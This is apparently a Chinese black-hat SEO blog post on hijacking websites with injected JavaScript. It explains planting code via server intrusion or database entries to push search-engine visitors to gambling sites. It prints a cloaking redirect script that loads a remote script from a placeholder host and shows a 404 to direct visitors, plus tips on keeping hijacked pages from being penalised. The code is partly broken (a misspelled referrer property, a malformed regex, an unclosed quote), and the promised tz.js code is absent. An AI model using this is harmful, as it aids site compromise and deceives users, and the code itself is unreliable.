js劫持的作用
通过向目标网页植入恶意js代码,控制网站跳转、隐藏页面内容、窗口劫持等。
js植入手法
可以通过入侵服务器,直接写入源代码中;也可以写在数据库中,因为有些页面会呈现数据库内容。
js劫持案例
我们经常看到的菠菜跳转:通过搜索引擎搜索点击页面(执行一段js)跳转到博彩页面;直接输入网址访问网页,跳转到404页面。
代码:
today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=//.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(/.[a-z0-9/-]+){1,2}///ig; var where =document.referer; if(regexp.test(where)){ document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>'); } else { window.location.href="../../404.htm"; }
分析:通过referer判断来路,如果referer来路为空就是跳转到404页面,如果是搜索引擎来的referer里面也会有显示,然后在写代码控制跳转。如果只是控制实现显示不同的内容,可以修改php、asp代码;如果需要劫持搜索引擎搜索框,可以写JS代码来做浏览器本地跳转。当然js功能可以无限扩展,比如可以控制一个ip一天内第一次访问正常,其余访问跳转等等。
有效的防k站js代码
如何有效防止或者延长网站被k的js代码,就目前来说,个人觉得还是一个比较可行的方法。方法是把pc端和手机端分开写入js代码,来实现跳转。应用方法:加入一个Javascript源文件(以js为扩展名),将以下代码添加在里面,文件命名为tz,然后在网页<head>下插入:<script src="js/tz.js></script>
值得注意的是,为了降低被k风险,我们做跳转页的时候尽量使主题和关键词一致,内容则以引导性为主,页面尽量优化好一点,提高用户体验度和降低跳出率,经测试此方法网站不容易被k,排名也比较稳定,当然,大家需要根据自己的实际情况来操作。